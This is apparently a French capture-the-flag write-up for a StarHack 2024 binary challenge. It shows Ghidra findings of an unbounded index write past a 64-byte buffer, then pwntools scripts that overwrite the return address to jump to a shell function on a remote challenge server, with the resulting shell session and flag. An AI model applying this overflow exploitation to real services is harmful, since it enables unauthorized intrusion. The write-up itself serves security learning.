Ce challenge tourne sur un docker et n'est pas disponible
Solution
Décompilation avec Ghidra pour savoir ce qu'on cherche. Un buffer de 64 octets nommé mail est dans les variables locales de la fonction main.
Dans la fonction update_mail, on peut rentrer un nombre sur 4 octets, et l'octet en mémoire à la position mail + length est modifié par le premier octet de notre nombre. Sauf qu'il n'y a pas de limite à la valeur de length, on peut donc déborder hors du mail. En plus, il est initialisé à 0x40 (64), c'est-à-dire, tout de suite à la fin du buffer de mail (pour nous éviter de remplir 64 octets un par un sans doute).
Enfin, une fonction mailshell à l'adresse 0x00401216
from pwn import *
# Permet d'avoir un terminal séparé en deux
context.terminal = ['tmux', 'splitw', '-h']
# Lance le binaire
io = gdb.debug('./pwn2', api=True, gdbscript='''
continue
''')
# Sert à envoyer et faire l'affichage
def send(io, data: bytes):
print(io.recvuntil(b'>> ').decode(), end='')
print(data)
io.sendline(data)
# Appelle la fonction update mail avec un nombre
def update_mail(io, n: int):
send(io, b'2')
send(io, str(n).encode())
# On envoie les nombres 65 (A), 66 (B), 67 (C)...
# Ce sera plus simple pour les reconnaître en mémoire
payload = b'ABCDEFGHIJKLMN'
for n in payload:
update_mail(io, n)
# On envoie le mail, ce qui permet de sortir de main et donc retourner sur EIP
send(io, b'3')
io.interactive()
On voit que le programme crash, car on a bien réussi à réécrire EIP mais avec une valeur qui ne veut rien dire. Avec python, on décode la valeur d'EIP.
>>> bytes.fromhex('4e4d4c4b4a49')
b'NMLKJI'
On va donc remplacer NMLKJI dans notre payload par l'adresse de mailshell. On en profite pour envoyer directement ça au véritable serveur.
from pwn import *
# Se connecter au server
io = remote('35.180.44.229', 1236)
# Sert à envoyer et faire l'affichage
def send(io, data: bytes):
print(io.recvuntil(b'>> ').decode(), end='')
print(data)
io.sendline(data)
# Appelle la fonction update mail avec un nombre
def update_mail(io, n: int):
send(io, b'2')
send(io, str(n).encode())
filler = b'ABCDEFGH'
mailshell = p64(0x00401216)
payload = filler + mailshell
for n in payload:
update_mail(io, n)
# On envoie le mail, ce qui permet de sortir de main et donc retourner sur EIP
send(io, b'3')
io.interactive()
┌──(kali㉿kali)-[~/StarHack 2024]
└─$ python3 solve.py 130 ⨯
[+] Opening connection to 35.180.44.229 on port 1236: Done
MAIL SENDER v0.1.5
1) create new mail
2) update mail content
3) send mail
>> b'2'
>> b'65'
[...]
1) create new mail
2) update mail content
3) send mail
>> b'3'
[*] Switching to interactive mode
mail is sent! quitting now.
$ ls
flag.txt
task
ynetd
$ cat flag.txt
StarHack{do_n0t_ev3r_trUsT_u5eR_1npUt_hayatflgh}
L'objectif va donc être de remplir octet par octet la mémoire jusqu'à écraser EIP. Pour ça, on va scripter un peu avec la librairie Python pour s'éviter de longues minutes de galère. Il faut lancer le script depuis un terminal tmux.